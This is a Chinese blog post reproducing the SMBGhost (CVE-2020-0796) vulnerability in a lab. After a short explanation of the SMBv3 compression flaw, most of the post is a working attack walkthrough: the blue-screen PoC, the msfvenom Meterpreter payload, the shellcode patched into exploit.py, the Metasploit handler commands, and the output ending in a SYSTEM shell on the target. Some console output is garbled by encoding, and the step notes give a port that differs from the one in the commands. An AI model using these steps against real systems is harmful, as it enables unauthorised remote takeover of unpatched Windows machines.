目 录CONTENT

文章目录

CVE-2020-0796 复现

xlong
2024-06-18 / 0 评论 / 0 点赞 / 30 阅读 / 8239 字 / 正在检测是否收录...

漏洞分析

CVE-2020-0796是指影响微软Windows 10和Windows Server 2019的一个漏洞,通常被称为"SMBGhost"或"CoronaBlue"。这是一个严重的漏洞,涉及SMBv3协议的一部分。

漏洞类型: 安全性协议漏洞。该漏洞影响SMBv3协议,该协议用于在局域网中共享文件和打印机。

漏洞影响:影响运行Windows 10和Windows Server 2019的系统。攻击者可以利用此漏洞在未经授权的情况下执行任意代码。

攻击方式:攻击者可以通过发送特制的SMBv3请求来触发漏洞。成功利用漏洞的攻击者可以执行任意代码,从而控制受影响的系统。

修复措施: 微软在2020年3月的安全更新中发布了相应的修复。用户应确保其操作系统和相关的安全更新已经安装,以防止受到这个漏洞的威胁。

漏洞原理

SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

 

利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

影响版本

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

漏洞复现过程

漏洞环境

目标机:192.168.6.238--> windows10 x64 1909

攻击机:192.168.6.216--> Kali Linux x64

检查网络

查看2台机器直接网络访问是否正常,关闭windows主机防火墙和实时防护。

攻击蓝屏

┌──(root㉿kali)-[~]
└─# unzip CVE-2020-0796-PoC-master.zip
┌──(root㉿kali)-[~]
└─# cd CVE-2020-0796-PoC-master
┌──(root㉿kali)-[~/CVE-2020-0796-PoC-master]
└─# ls
CVE-2020-0796.py  LICENSE  README.md  requirements-test.txt  setup.cfg  setup.py  smbclient  smbprotocol

┌──(root㉿kali)-[~/CVE-2020-0796-PoC-master]
└─# ./CVE-2020-0796.py 192.168.6.238

查看靶机状态,靶机显示蓝屏攻击成功。

本地提权

导入提权EXP脚本

攻击前:查看当前用户为普通用户

执行提权exe文件

攻击后:查看当前用户为管理员,提权成功。

反弹shell

环境准备

┌──(root㉿kali)-[~]
└─# unzip SMBGhost_RCE_PoC-master.zip
┌──(root㉿kali)-[~]
└─# cd SMBGhost_RCE_PoC-master

┌──(root㉿kali)-[~/SMBGhost_RCE_PoC-master]
└─# ls
exploit.py  kernel_shellcode.asm  lznt1.py  README.md  smb_win.py

生成一个payload的shellcode

┌──(root㉿kali)-[~/SMBGhost_RCE_PoC-master]
└─# msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 496 bytes
Final size of py file: 2457 bytes
Saved as: shellcode.txt

修改 exploit.py 文件中 USER_PAYLOAD 内容 ,改为 shellcode.txt 中的内容。

示例:
└─# cat shellcode.txt
buf =  b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00"
buf += b"\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65"

└─# cat exploit.py
...
USER_PAYLOAD =  b""
USER_PAYLOAD += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
USER_PAYLOAD += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"


# 修改为
└─# cat exploit.py
...
USER_PAYLOAD =  b""
USER_PAYLOAD += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00"
USER_PAYLOAD += b"\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65"

在kali中开启侦听

┌──(root㉿kali)-[~/SMBGhost_RCE_PoC-master]
└─# msfconsole
Metasploit tip: View a module's description using info, or the enhanced
version in your browser with info -d

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.4.9-dev                           ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post       ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 192.168.6.238
rhost => 192.168.6.238
msf6 exploit(multi/handler) >  set lport 3333
lport => 3333
msf6 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 192.168.6.238:3333

^C[-] Exploit failed [user-interrupt]: Interrupt
[-] exploit: Interrupted
msf6 exploit(multi/handler) > run

步骤说明:

1. msfconsole: 启动Metasploit控制台。

2. use exploit/multi/handler: 指定使用Metasploit的"multi/handler"模块,该模块用于处理多种类型的攻击载荷。

3. set payload windows/x64/meterpreter/bind_tcp: 设置使用Meterpreter作为攻击载荷,该载荷用于创建一个绑定式TCP shell,针对64位Windows系统。

4. set lport 9999: 设置监听器使用的本地端口号为9999。

5. set rhost 192.168.6.238: 设置远程目标主机的IP地址为192.168.6.238。然而,在这里使用的是`bind_tcp`,它不需要指定远程主机,因此在这种情况下,这个命令没有实际效果。

6. run: 执行前面设置的模块和参数,开始监听指定的端口,等待目标系统连接。

新终端运行更改后的explloit脚本

┌──(root㉿kali)-[~/SMBGhost_RCE_PoC-master]
└─# python exploit.py -ip 192.168.6.238
[+] found low stub at phys addr 12000!
[+] PML4 at 1aa000
[+] base of HAL heap at fffff7b440000000
[+] found PML4 self-ref entry 1e8
[+] found HalpInterruptController at fffff7b440001448
[+] found HalpApicRequestInterrupt at fffff8051a95ebb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff47bc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000950!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...

执行成功后返回侦听界面即可进入靶机,输入shell可进入靶机的shell界面

msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 192.168.6.238:3333
[*] Sending stage (201798 bytes) to 192.168.6.238
[*] Meterpreter session 1 opened (192.168.6.216:45223 -> 192.168.6.238:3333) at 2024-06-18 03:37:54 -0400

meterpreter > shell
Process 11728 created.
Channel 1 created.
Microsoft Windows [°汾 10.0.18363.418]
(c) 2019 Microsoft Corporation¡£±£´̹ԐȨ{¡£

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>ipconfig
ipconfig

Windows IP Ƥ׃


Ӕ̫θˊƤǷ Ӕ̫θ:

   l½Ԍض¨µ DNS º𗸠. . . . . . . : lan
   ±¾µف´½ѠIPv6 µٖ·. . . . . . . . : fe83::85a6:2257:50ab:f1b3%8
   IPv4 µٖ· . . . . . . . . . . . . : 192.168.6.238
   ؓθҚë  . . . . . . . . . . . . : 255.255.255.0
   Ĭɏθ¹֮ . . . . . . . . . . . . : 192.168.6.1

C:\Windows\system32>

脚本地址:

https://github.com/cc98760/SMBGhost_RCE_PoC.git

https://github.com/cc98760/CVE-2020-0796-PoC.git

0

评论区